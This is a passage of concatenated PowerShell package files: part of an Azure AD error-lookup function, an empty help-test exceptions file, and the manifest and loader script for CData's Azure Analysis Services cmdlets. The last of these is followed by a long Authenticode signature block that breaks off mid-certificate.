PSTypeName = "AADSTS.ErrorInfo"
ErrorCode = $OutCode
Description = If ($OutRemediation -notlike "") {$OutMessage1} Else {$OutMessage2}
Remediation = $OutRemediation
}
[void]$Data.Add($object)
}
$Data
}
Catch{
Write-Error "Error retrieving AADSTS Error information [$_]"
}
}
End
{}
}
|
Help.Exceptions.ps1 | AADSTSErrorInfo-0.0.3 | # List of functions that should be ignored
$global:FunctionHelpTestExceptions = @(
)
<#
List of arrayed enumerations. These need to be treated differently. Add full name.
Example:
"Sqlcollaborative.Dbatools.Connection.ManagementConnectionType[]"
#>
$global:HelpTestEnumeratedArrays = @(
)
<#
Some types on parameters just fail their validation no matter what.
For those it becomes possible to skip them, by adding them to this hashtable.
Add by following this convention: <command name> = @(<list of parameter names>)
Example:
"Get-DbaCmObject" = @("DoNotUse")
#>
$global:HelpTestSkipParameterType = @{
}
|
AASCmdlets.psd1 | AASCmdlets-23.0.8839.1 | @{
GUID = '2501941f-f818-4744-b800-14a244343b6d'
Author = 'CData Software, Inc.'
CompanyName = 'CData Software, Inc.'
Copyright = 'Copyright (c) 2024 CData Software, Inc. - All rights reserved.'
ModuleVersion = '23.0.8839.1'
Description = 'CData Cmdlets for Azure Analysis Services'
PowerShellVersion = '3.0'
CLRVersion = '4.0'
CmdletsToExport = '*'
RequiredModules = @()
ModuleToProcess = 'AASCmdlets.psm1'
ScriptsToProcess = @()
TypesToProcess = @()
PrivateData = @{
PSData = @{
Tags = @("CData", "Cmdlets", "Azure","Analysis","Services")
LicenseUri = "http://www.cdata.com/company/legal/terms.aspx"
ProjectUri = "http://www.cdata.com/powershell/"
IconUri = "http://www.cdata.com/powershell/img/psgallery_icon.png"
SKU = "OAMJA"
}
}
}
|
AASCmdlets.psm1 | AASCmdlets-23.0.8839.1 | Set-StrictMode -Version Latest
$PSModule = $ExecutionContext.SessionState.Module
$PSModuleRoot = $PSModule.ModuleBase
$binaryModuleManifestFile = 'AASCmdlets.psd1'
$binaryModuleRootPath = $PSModuleRoot
if (($PSVersionTable.Keys -contains "PSEdition") -and ($PSVersionTable.PSEdition -ne 'Desktop')) {
$binaryModuleRootPath = Join-Path -Path $PSModuleRoot -ChildPath 'lib/netstandard2.1'
} else {
$binaryModuleRootPath = Join-Path -Path $PSModuleRoot -ChildPath 'lib/net40'
}
$binaryModulePath = Join-Path -Path $binaryModuleRootPath -ChildPath $binaryModuleManifestFile
$binaryModule = Import-Module -Name $binaryModulePath -PassThru
$PSModule.OnRemove = {
Remove-Module -ModuleInfo $binaryModule
}
# SIG # Begin signature block
# MIIt2gYJKoZIhvcNAQcCoIItyzCCLccCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAXBeu7ZCuvHdsQ
# uHdKdgPzhxtWT7PEoVE1x5JYzTon36CCEzcwggbuMIIE1qADAgECAhAFHswF2GND
# 2Gbwxke9mqRRMA0GCSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQK
# Ew5EaWdpQ2VydCwgSW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBD
# b2RlIFNpZ25pbmcgUlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjMwOTE5MDAw
# MDAwWhcNMjYwOTE4MjM1OTU5WjB2MQswCQYDVQQGEwJVUzEXMBUGA1UECBMOTm9y
# dGggQ2Fyb2xpbmExFDASBgNVBAcTC0NoYXBlbCBIaWxsMRswGQYDVQQKExJDRGF0
# YSBTb2Z0d2FyZSBJTkMxGzAZBgNVBAMTEkNEYXRhIFNvZnR3YXJlIElOQzCCAaIw
# DQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAMUVrZoPq04XEojG1qOxj5zghTxb
# l+9VciyBZ92PwckhMQHZ4DwXBthNyHcJHp8OvHopcbS4sYjXWE3TvIas3SzGjZRV
# 8s9pcCY/Y7NWuaQuZLjwDeEQZpnRFfkH0otrT2SG+bk7DlZF4wCIMCkdBDSx/U1n
# Grxa2wkbQTyfL+Q19ZQLGSxLBQWMw5LYyCBf0ZaFyMl4Z/MKml/Vevcg8f/4zbNP
# VreSNH2kTvLbwnOup0mTJ+7eyDFSIM4P+Tv2XtHuEPkcetchRS2P+6IhsOzxQqWP
# StWUcNtcSsZxDGmiguaBXVNoKFKRfOBrtqronLrL39YWcv5M40YHugBJK31C94qq
# /IRjcPo/tgMyu5tgsdCFvebwYk/48g3MIWkWkyYALLY6Ukj6ME1/iU2NJfA8poRE
# +A/TUbR0Y0kz+WjIP80K9BDjpVIt8O2PXaKyIrikXrnYiJOBoeVLlpiaJuIAHgqN
# XU4pDx5t72xErOKHX6O07bi1/LKjyhPHcYyeGQIDAQABo4ICAzCCAf8wHwYDVR0j
# BBgwFoAUaDfg67Y7+F8Rhvv+YXsIiGX0TkIwHQYDVR0OBBYEFBZqyu6J1RSziUcT
# azH9+2qAl3qZMD4GA1UdIAQ3MDUwMwYGZ4EMAQQBMCkwJwYIKwYBBQUHAgEWG2h0
# dHA6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0l
# BAwwCgYIKwYBBQUHAwMwgbUGA1UdHwSBrTCBqjBToFGgT4ZNaHR0cDovL2NybDMu
# ZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZEc0Q29kZVNpZ25pbmdSU0E0MDk2
# U0hBMzg0MjAyMUNBMS5jcmwwU6BRoE+GTWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNv
# bS9EaWdpQ2VydFRydXN0ZWRHNENvZGVTaWduaW5nUlNBNDA5NlNIQTM4NDIwMjFD
# QTEuY3JsMIGUBggrBgEFBQcBAQSBhzCBhDAkBggrBgEFBQcwAYYYaHR0cDovL29j
# c3AuZGlnaWNlcnQuY29tMFwGCCsGAQUFBzAChlBodHRwOi8vY2FjZXJ0cy5kaWdp
# Y2VydC5jb20vRGlnaUNlcnRUcnVzdGVkRzRDb2RlU2lnbmluZ1JTQTQwOTZTSEEz
# ODQyMDIxQ0ExLmNydDAJBgNVHRMEAjAAMA0GCSqGSIb3DQEBCwUAA4ICAQBn7/7q
# LpImnfij/84k/7dFu7aFjKkqWIJ8VRvzPsJ1938MIGnvWyhdD6yzPCtFyDMFccP0
# Y33wG4GeOR1+mTTgexK5mQS1UyCFNAcUaeMgrJr6OJzYVSkdxxUtQXefbr2WwK65
# Nb6r2SOXS6L8iN+xKuXhAetNPYwcetxy8ojL4rffzNgeIqPG9Q9Lee7rADPjyAIC
# JbmbCquafgQQxHkylx36yDkVLk7vJ0sRHHnE1/1AOHzIbRbAz5qH6AWbBa3DRCJD
# E3BvryoyxpfGcOLq8Qoe7bsSs1xh/5V81ykukGuCz425/mF5CeSPJw/Xa2lekX++
# Jqr82BpX1aa9m1Biux2GO8eNeKYnT8uYxddMWaM9bCFsMuCXfXprRjdPdRSBGV8/
# e3EtWSCcvSa1KInur4aC7f+sRzyN3+hh/9QxgubIrb6GoOU05zsxKcYDPdcfPieX
# j7VJ4uVoNNOGPVJh+akAyT6ZfLtUYH25VUSkWJ6m2nBNMaLNetOXORNauuGTRXCJ
# /weQTXz988ISNK72u9yLUfrd+FMfT8Dy/0AeVrCXC+GRwjAl63XwSNIPCUB62pzC
# W1u6FvqFFpagxRpMd3AePnbPx2kfRDMezIMbFB0W8PF22XSshj+BRQvqW4G7uLV/
# +bCmCOjHPsN9QINbviaLCn1sRDpS7BvzAlJrLTCCBrAwggSYoAMCAQICEAitQLJg
# 0pxMn17Nqb2TrtkwDQYJKoZIhvcNAQEMBQAwYjELMAkGA1UEBhMCVVMxFTATBgNV
# BAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEhMB8G
# A1UEAxMYRGlnaUNlcnQgVHJ1c3RlZCBSb290IEc0MB4XDTIxMDQyOTAwMDAwMFoX
# DTM2MDQyODIzNTk1OVowaTELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lDZXJ0
# LCBJbmMuMUEwPwYDVQQDEzhEaWdpQ2VydCBUcnVzdGVkIEc0IENvZGUgU2lnbmlu
# ZyBSU0E0MDk2IFNIQTM4NCAyMDIxIENBMTCCAiIwDQYJKoZIhvcNAQEBBQADggIP
# ADCCAgoCggIBANW0L0LQKK14t13VOVkbsYhC9TOM6z2Bl3DFu8SFJjCfpI5o2Fz1
# 6zQkB+FLT9N4Q/QX1x7a+dLVZxpSTw6hV/yImcGRzIEDPk1wJGSzjeIIfTR9TIBX
# EmtDmpnyxTsf8u/LR1oTpkyzASAl8xDTi7L7CPCK4J0JwGWn+piASTWHPVEZ6JAh
# eEUuoZ8s4RjCGszF7pNJcEIyj/vG6hzzZWiRok1MghFIUmjeEL0UV13oGBNlxX+y
# T4UsSKRWhDXW+S6cqgAV0Tf+GgaUwnzI6hsy5srC9KejAw50pa85tqtgEuPo1rn3
# MeHcreQYoNjBI0dHs6EPbqOrbZgGgxu3amct0r1EGpIQgY+wOwnXx5syWsL/amBU
# i0nBk+3htFzgb+sm+YzVsvk4EObqzpH1vtP7b5NhNFy8k0UogzYqZihfsHPOiyYl
# BrKD1Fz2FRlM7WLgXjPy6OjsCqewAyuRsjZ5vvetCB51pmXMu+NIUPN3kRr+21Ci
# RshhWJj1fAIWPIMorTmG7NS3DVPQ+EfmdTCN7DCTdhSmW0tddGFNPxKRdt6/WMty
# EClB8NXFbSZ2aBFBE1ia3CYrAfSJTVnbeM+BSj5AR1/JgVBzhRAjIVlgimRUwcwh
# Gug4GXxmHM14OEUwmU//Y09Mu6oNCFNBfFg9R7P6tuyMMgkCzGw8DFYRAgMBAAGj
# ggFZMIIBVTASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1UdDgQWBBRoN+Drtjv4XxGG
# +/5hewiIZfROQjAfBgNVHSMEGDAWgBTs1+OC0nFdZEzfLmc/57qYrhwPTzAOBgNV
# HQ8BAf8EBAMCAYYwEwYDVR0lBAwwCgYIKwYBBQUHAwMwdwYIKwYBBQUHAQEEazBp
# MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wQQYIKwYBBQUH
# MAKGNWh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRS
# b290RzQuY3J0MEMGA1UdHwQ8MDowOKA2oDSGMmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0
# LmNvbS9EaWdpQ2VydFRydXN0ZWRSb290RzQuY3JsMBwGA1UdIAQVMBMwBwYFZ4EM
# AQMwCAYGZ4EMAQQBMA0GCSqGSIb3DQEBDAUAA4ICAQA6I0Q9jQh27o+8OpnTVuAC
# GqX4SDTzLLbmdGb3lHKxAMqvbDAnExKekESfS/2eo3wm1Te8Ol1IbZXVP0n0J7sW
# gUVQ/Zy9toXgdn43ccsi91qqkM/1k2rj6yDR1VB5iJqKisG2vaFIGH7c2IAaERkY
# zWGZgVb2yeN258TkG19D+D6U/3Y5PZ7Umc9K3SjrXyahlVhI1Rr+1yc//ZDRdobd
# HLBgXPMNqO7giaG9OeE4Ttpuuzad++UhU1rDyulq8aI+20O4M8hPOBSSmfXdzlRt
# 2V0CFB9AM3wD4pWywiF1c1LLRtjENByipUuNzW92NyyFPxrOJukYvpAHsEN/lYgg
# gnDwzMrv/Sk1XB+JOFX3N4qLCaHLC+kxGv8uGVw5ceG+nKcKBtYmZ7eS5k5f3nqs
# Sc8upHSSrds8pJyGH+PBVhsrI/+PteqIe3Br5qC6/To/RabE6BaRUotBwEiES5ZN
# q0RA443wFSjO7fEYVgcqLxDEDAhkPDOPriiMPMuPiAsNvzv0zh57ju+168u38HcT
# 5ucoP6wSrqUvImxB+YJcFWbMbA7KxYbD9iYzDAdLoNMHAmpqQDBISzSoUSC7rRuF
# COJZDW3KBVAr6kocnqX9oKcfBnTn8tZSkP2vhUgh+Vc7tJwD7YZF9LRhbr9o4iZg
# hurIr6n+lB3nYxs6hlZ4TjCCBY0wggR1oAMCAQICEA6bGI750C3n79tQ4ghAGFow
# DQYJKoZIhvcNAQEMBQAwZTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0
# IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEkMCIGA1UEAxMbRGlnaUNl
# cnQgQXNzdXJlZCBJRCBSb290IENBMB4XDTIyMDgwMTAwMDAwMFoXDTMxMTEwOTIz
# NTk1OVowYjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcG
# A1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEhMB8GA1UEAxMYRGlnaUNlcnQgVHJ1c3Rl
# ZCBSb290IEc0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAv+aQc2je
# u+RdSjwwIjBpM+zCpyUuySE98orYWcLhKac9WKt2ms2uexuEDcQwH/MbpDgW61bG
# l20dq7J58soR0uRf1gU8Ug9SH8aeFaV+vp+pVxZZVXKvaJNwwrK6dZlqczKU0RBE
# EC7fgvMHhOZ0O21x4i0MG+4g1ckgHWMpLc7sXk7Ik/ghYZs06wXGXuxbGrzryc/N
# rDRAX7F6Zu53yEioZldXn1RYjgwrt0+nMNlW7sp7XeOtyU9e5TXnMcvak17cjo+A
# 2raRmECQecN4x7axxLVqGDgDEI3Y1DekLgV9iPWCPhCRcKtVgkEy19sEcypukQF8
# IUzUvK4bA3VdeGbZOjFEmjNAvwjXWkmkwuapoGfdpCe8oU85tRFYF/ckXEaPZPfB
# aYh2mHY9WV1CdoeJl2l6SPDgohIbZpp0yt5LHucOY67m1O+SkjqePdwA5EUlibaa
# RBkrfsCUtNJhbesz2cXfSwQAzH0clcOP9yGyshG3u3/y1YxwLEFgqrFjGESVGnZi
# fvaAsPvoZKYz0YkH4b235kOkGLimdwHhD5QMIR2yVCkliWzlDlJRR3S+Jqy2QXXe
# eqxfjT/JvNNBERJb5RBQ6zHFynIWIgnffEx1P2PsIV/EIFFrb7GrhotPwtZFX50g
# /KEexcCPorF+CiaZ9eRpL5gdLfXZqbId5RsCAwEAAaOCATowggE2MA8GA1UdEwEB
# /wQFMAMBAf8wHQYDVR0OBBYEFOzX44LScV1kTN8uZz/nupiuHA9PMB8GA1UdIwQY
# MBaAFEXroq/0ksuCMS1Ri6enIZ3zbcgPMA4GA1UdDwEB/wQEAwIBhjB5BggrBgEF
# BQcBAQRtMGswJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBD
# BggrBgEFBQcwAoY3aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0
# QXNzdXJlZElEUm9vdENBLmNydDBFBgNVHR8EPjA8MDqgOKA2hjRodHRwOi8vY3Js
# My5kaWdpY2VydC5jb20vRGlnaUNlcnRBc3N1cmVkSURSb290Q0EuY3JsMBEGA1Ud
# IAQKMAgwBgYEVR0gADANBgkqhkiG9w0BAQwFAAOCAQEAcKC/Q1xV5zhfoKN0Gz22
# Ftf3v1cHvZqsoYcs7IVeqRq7IviHGmlUIu2kiHdtvRoU9BNKei8ttzjv9P+Aufih
# 9/Jy3iS8UgPITtAq3votVs/59PesMHqai7Je1M/RQ0SbQyHrlnKhSLSZy51PpwYD
# E3cnRNTnf+hZqPC/Lwum6fI0POz3A8eHqNJMQBk1RmppVLC4oVaO7KTVPeix3P0c
# 2PR3WlxUjG/voVA9/HYJaISfb8rbII01YBwCA8sgsKxYoA5AY8WYIsGyWfVVa88n
# q2x2zm8jLfR+cWojayL/ErhULSd+2DrZ8LaHlv1b0VysGMNNn3O3AamfV6peKOK5
# lDGCGfkwghn1AgEBMH0waTELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lDZXJ0
# LCBJbmMuMUEwPwYDVQQDEzhEaWdpQ2VydCBUcnVzdGVkIEc0IENvZGUgU2lnbmlu
# ZyBSU0E0MDk2IFNIQTM4NCAyMDIxIENBMQIQBR7MBdhjQ9hm8MZHvZqkUTANBglg
# hkgBZQMEAgEFAKB8MBwGCisGAQQBgjcCAQsxDjAMBgorBgEEAYI3AgEVMBAGCisG
# AQQBgjcCAQwxAjAAMBkGCSqGSIb3DQEJAzEMBgorBgEEAYI3AgEEMC8GCSqGSIb3
# DQEJBDEiBCC9RNgBVSf/BlJo+22jJhj2WQbNIPoAenLGNJwhdIu6UzANBgkqhkiG
# 9w0BAQEFAASCAYDE1x6hk7OZFdWCFn8+comewIibZrpbTufAGH30ertj3PnlUk7V
# 9AVk8s+dmNzHFGE8UPmz4PAwoNoO6DcqEOCXF+vcXUh4MfSmh9iU2YqT6Rn+9QgX
# 9ETjfHJDG9/tvLmT8Y5GmFDJ4jQdk5DYXDHJ4N+oFworWUjwZeBwf5XWMatc67mx
# JHYuMDV3eC1aeDLkh+52g2pbjRVwFP4kmTS38J0xTIp/bfd6zhZmH//shD+FdcmA
# mQCT/OilzKYgE4WVkV41aW8UyKUcDBXn9S0t0KXGcPl6SkjIsZhb3UO+rn7tz5rt
# 1s/VloJrMU6tbC/hfamYw5185Eu7RD7nccf+EbEmF0PF9GvYOOGH4GJU7GvLtWJ0
# oQAQFnV272qC4Zqf8uM4lCX11ndWOETSqj4RQ3fAya+mHFnpNl5cOYyxAa6V65Ww
# bEGQlmQir2trWE+rM7+HhEL5OKAklrWtn1WxNULtBV88xE9LUCkq4mXGb43AuDEW
# 7vPi4I1ZEEOcMvChghdPMIIXSwYKKwYBBAGCNwMDATGCFzswghc3BgkqhkiG9w0B
# BwKgghcoMIIXJAIBAzEPMA0GCWCGSAFlAwQCAQUAMIGGBgsqhkiG9w0BCRABBKB3
# BHUwcwIBAQYJYIZIAYb9bAcBMDEwDQYJYIZIAWUDBAIBBQAEII9EFpsLk2EVCyTk
# +V+6sF0/AQmYMe01CVDeMrCADizlAhEAuN8QcuvyWxqg53s2LEqMQBgPMjAyNDAz
# MTQxMTM5MjVaAgwCWYj/AS8TRWUcDB+gghMJMIIGwjCCBKqgAwIBAgIQBUSv85Sd
# CDmmv9s/X+VhFjANBgkqhkiG9w0BAQsFADBjMQswCQYDVQQGEwJVUzEXMBUGA1UE
# ChMORGlnaUNlcnQsIEluYy4xOzA5BgNVBAMTMkRpZ2lDZXJ0IFRydXN0ZWQgRzQg
# UlNBNDA5NiBTSEEyNTYgVGltZVN0YW1waW5nIENBMB4XDTIzMDcxNDAwMDAwMFoX
# DTM0MTAxMzIzNTk1OVowSDELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lDZXJ0
# LCBJbmMuMSAwHgYDVQQDExdEaWdpQ2VydCBUaW1lc3RhbXAgMjAyMzCCAiIwDQYJ
# KoZIhvcNAQEBBQADggIPADCCAgoCggIBAKNTRYcdg45brD5UsyPgz5/X5dLnXaEO
# CdwvSKOXejsqnGfcYhVYwamTEafNqrJq3RApih5iY2nTWJw1cb86l+uUUI8cIOrH
# mjsvlmbjaedp/lvD1isgHMGXlLSlUIHyz8sHpjBoyoNC2vx/CSSUpIIa2mq62DvK
# Xd4ZGIX7ReoNYWyd/nFexAaaPPDFLnkPG2ZS48jWPl/aQ9OE9dDH9kgtXkV1lnX+
# 3RChG4PBuOZSlbVH13gpOWvgeFmX40QrStWVzu8IF+qCZE3/I+PKhu60pCFkcOvV
# 5aDaY7Mu6QXuqvYk9R28mxyyt1/f8O52fTGZZUdVnUokL6wrl76f5P17cz4y7lI0
# +9S769SgLDSb495uZBkHNwGRDxy1Uc2qTGaDiGhiu7xBG3gZbeTZD+BYQfvYsSzh
# Ua+0rRUGFOpiCBPTaR58ZE2dD9/O0V6MqqtQFcmzyrzXxDtoRKOlO0L9c33u3Qr/
# eTQQfqZcClhMAD6FaXXHg2TWdc2PEnZWpST618RrIbroHzSYLzrqawGw9/sqhux7
# UjipmAmhcbJsca8+uG+W1eEQE/5hRwqM/vC2x9XH3mwk8L9CgsqgcT2ckpMEtGlw
# Jw1Pt7U20clfCKRwo+wK8REuZODLIivK8SgTIUlRfgZm0zu++uuRONhRB8qUt+JQ
# ofM604qDy0B7AgMBAAGjggGLMIIBhzAOBgNVHQ8BAf8EBAMCB4AwDAYDVR0TAQH/
# BAIwADAWBgNVHSUBAf8EDDAKBggrBgEFBQcDCDAgBgNVHSAEGTAXMAgGBmeBDAEE
# AjALBglghkgBhv1sBwEwHwYDVR0jBBgwFoAUuhbZbU2FL3MpdpovdYxqII+eyG8w
# HQYDVR0OBBYEFKW27xPn783QZKHVVqllMaPe1eNJMFoGA1UdHwRTMFEwT6BNoEuG
# SWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNFJTQTQw
# OTZTSEEyNTZUaW1lU3RhbXBpbmdDQS5jcmwwgZAGCCsGAQUFBwEBBIGDMIGAMCQG
# CCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wWAYIKwYBBQUHMAKG
# TGh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFRydXN0ZWRHNFJT
# QTQwOTZTSEEyNTZUaW1lU3RhbXBpbmdDQS5jcnQwDQYJKoZIhvcNAQELBQADggIB
# AIEa1t6gqbWYF7xwjU+KPGic2CX/yyzkzepdIpLsjCICqbjPgKjZ5+PF7SaCinEv
# GN1Ott5s1+FgnCvt7T1IjrhrunxdvcJhN2hJd6PrkKoS1yeF844ektrCQDifXcig
# LiV4JZ0qBXqEKZi2V3mP2yZWK7Dzp703DNiYdk9WuVLCtp04qYHnbUFcjGnRuSvE
# xnvPnPp44pMadqJpddNQ5EQSviANnqlE0PjlSXcIWiHFtM+YlRpUurm8wWkZus8W
# 8oM3NG6wQSbd3lqXTzON1I13fXVFoaVYJmoDRd7ZULVQjK9WvUzF4UbFKNOt50MA
# cN7MmJ4ZiQPq1JE3701S88lgIcRWR+3aEUuMMsOI5ljitts++V+wQtaP4xeR0arA
# VeOGv6wnLEHQmjNKqDbUuXKWfpd5OEhfysLcPTLfddY2Z1qJ+Panx+VPNTwAvb6c
# Kmx5AdzaROY63jg7B145WPR8czFVoIARyxQMfq68/qTreWWqaNYiyjvrmoI1VygW
# y2nyMpqy0tg6uLFGhmu6F/3Ed2wVbK6rr3M66ElGt9V/zLY4wNjsHPW2obhDLN9O
# TH0eaHDAdwrUAuBcYLso/zjlUlrWrBciI0707NMX+1Br/wd3H3GXREHJuEbTbDJ8
# WC9nR2XlG3O2mflrLAZG70Ee8PBf4NvZrZCARK+AEEGKMIIGrjCCBJagAwIBAgIQ
# BzY3tyRUfNhHrP0oZipeWzANBgkqhkiG9w0BAQsFADBiMQswCQYDVQQGEwJVUzEV
# MBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29t
# MSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMjIwMzIzMDAw
# MDAwWhcNMzcwMzIyMjM1OTU5WjBjMQswCQYDVQQGEwJVUzEXMBUGA1UEChMORGln
# aUNlcnQsIEluYy4xOzA5BgNVBAMTMkRpZ2lDZXJ0IFRydXN0ZWQgRzQgUlNBNDA5
# NiBTSEEyNTYgVGltZVN0YW1waW5nIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
# MIICCgKCAgEAxoY1BkmzwT1ySVFVxyUDxPKRN6mXUaHW0oPRnkyibaCwzIP5WvYR
# oUQVQl+kiPNo+n3znIkLf50fng8zH1ATCyZzlm34V6gCff1DtITaEfFzsbPuK4CE
# iiIY3+vaPcQXf6sZKz5C3GeO6lE98NZW1OcoLevTsbV15x8GZY2UKdPZ7Gnf2ZCH
# RgB720RBidx8ald68Dd5n12sy+iEZLRS8nZH92GDGd1ftFQLIWhuNyG7QKxfst5K
# fc71ORJn7w6lY2zkpsUdzTYNXNXmG6jBZHRAp8ByxbpOH7G1WE15/tePc5OsLDni
# pUjW8LAxE6lXKZYnLvWHpo9OdhVVJnCYJn+gGkcgQ+NDY4B7dW4nJZCYOjgRs/b2
# nuY7W+yB3iIU2YIqx5K/oN7jPqJz+ucfWmyU8lKVEStYdEAoq3NDzt9KoRxrOMUp
# 88qqlnNCaJ+2RrOdOqPVA+C/8KI8ykLcGEh/FDTP0kyr75s9/g64ZCr6dSgkQe1C
# vwWcZklSUPRR8zZJTYsg0ixXNXkrqPNFYLwjjVj33GHek/45wPmyMKVM1+mYSlg+
# 0wOI/rOP015LdhJRk8mMDDtbiiKowSYI+RQQEgN9XyO7ZONj4KbhPvbCdLI/Hgl2
# 7KtdRnXiYKNYCQEoAA6EVO7O6V3IXjASvUaetdN2udIOa5kM0jO0zbECAwEAAaOC
# AV0wggFZMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFLoW2W1NhS9zKXaa
# L3WMaiCPnshvMB8GA1UdIwQYMBaAFOzX44LScV1kTN8uZz/nupiuHA9PMA4GA1Ud
# DwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDCDB3BggrBgEFBQcBAQRrMGkw
# JAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBBBggrBgEFBQcw
# AoY1aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0VHJ1c3RlZFJv
# b3RHNC5jcnQwQwYDVR0fBDwwOjA4oDagNIYyaHR0cDovL2NybDMuZGlnaWNlcnQu
# Y29tL0RpZ2lDZXJ0VHJ1c3RlZFJvb3RHNC5jcmwwIAYDVR0gBBkwFzAIBgZngQwB
# BAIwCwYJYIZIAYb9bAcBMA0GCSqGSIb3DQEBCwUAA4ICAQB9WY7Ak7ZvmKlEIgF+
# ZtbYIULhsBguEE0TzzBTzr8Y+8dQXeJLKftwig2qKWn8acHPHQfpPmDI2AvlXFvX
# bYf6hCAlNDFnzbYSlm/EUExiHQwIgqgWvalWzxVzjQEiJc6VaT9Hd/tydBTX/6tP
# iix6q4XNQ1/tYLaqT5Fmniye4Iqs5f2MvGQmh2ySvZ180HAKfO+ovHVPulr3qRCy
# Xen/KFSJ8NWKcXZl2szwcqMj+sAngkSumScbqyQeJsG33irr9p6xeZmBo1aGqwpF
# yd/EjaDnmPv7pp1yr8THwcFqcdnGE4AJxLafzYeHJLtPo0m5d2aR8XKc6UsCUqc3
# fpNTrDsdCEkPlM05et3/JWOZJyw9P2un8WbDQc1PtkCbISFA0LcTJM3cHXg65J6t
# 5TRxktcma+Q4c6umAU+9Pzt4rUyt+8SVe+0KXzM5h0F4ejjpnOHdI/0dKNPH+ejx
# mF/7K9h+8kaddSweJywm228Vex4Ziza4k9Tm8heZWcpw8De/mADfIBZPJ/tgZxah
# ZrrdVcA6KYawmKAr7ZVBtzrVFZgxtGIJDwq9gdkT/r+k0fNX2bwE+oLeMt8EifAA
# zV3C+dAjfwAL5HYCJtnwZXZCpimHCUcr5n8apIUP/JiW9lVUKx+A+sDyDivl1vup
# L0QVSucTDh3bNzgaoSv27dZ8/DCCBY0wggR1oAMCAQICEA6bGI750C3n79tQ4ghA
# GFowDQYJKoZIhvcNAQEMBQAwZTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lD
# ZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEkMCIGA1UEAxMbRGln
# aUNlcnQgQXNzdXJlZCBJRCBSb290IENBMB4XDTIyMDgwMTAwMDAwMFoXDTMxMTEw
# OTIzNTk1OVowYjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ
# MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEhMB8GA1UEAxMYRGlnaUNlcnQgVHJ1
# c3RlZCBSb290IEc0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAv+aQ
# c2jeu+RdSjwwIjBpM+zCpyUuySE98orYWcLhKac9WKt2ms2uexuEDcQwH/MbpDgW
# 61bGl20dq7J58soR0uRf1gU8Ug9SH8aeFaV+vp+pVxZZVXKvaJNwwrK6dZlqczKU
# 0RBEEC7fgvMHhOZ0O21x4i0MG+4g1ckgHWMpLc7sXk7Ik/ghYZs06wXGXuxbGrzr
# yc/NrDRAX7F6Zu53yEioZldXn1RYjgwrt0+nMNlW7sp7XeOtyU9e5TXnMcvak17c
# jo+A2raRmECQecN4x7axxLVqGDgDEI3Y1DekLgV9iPWCPhCRcKtVgkEy19sEcypu
# kQF8IUzUvK4bA3VdeGbZOjFEmjNAvwjXWkmkwuapoGfdpCe8oU85tRFYF/ckXEaP
# ZPfBaYh2mHY9WV1CdoeJl2l6SPDgohIbZpp0yt5LHucOY67m1O+SkjqePdwA5EUl
# ibaaRBkrfsCUtNJhbesz2cXfSwQAzH0clcOP9yGyshG3u3/y1YxwLEFgqrFjGESV
# GnZifvaAsPvoZKYz0YkH4b235kOkGLimdwHhD5QMIR2yVCkliWzlDlJRR3S+Jqy2
# QXXeeqxfjT/JvNNBERJb5RBQ6zHFynIWIgnffEx1P2PsIV/EIFFrb7GrhotPwtZF
# X50g/KEexcCPorF+CiaZ9eRpL5gdLfXZqbId5RsCAwEAAaOCATowggE2MA8GA1Ud
# EwEB/wQFMAMBAf8wHQYDVR0OBBYEFOzX44LScV1kTN8uZz/nupiuHA9PMB8GA1Ud
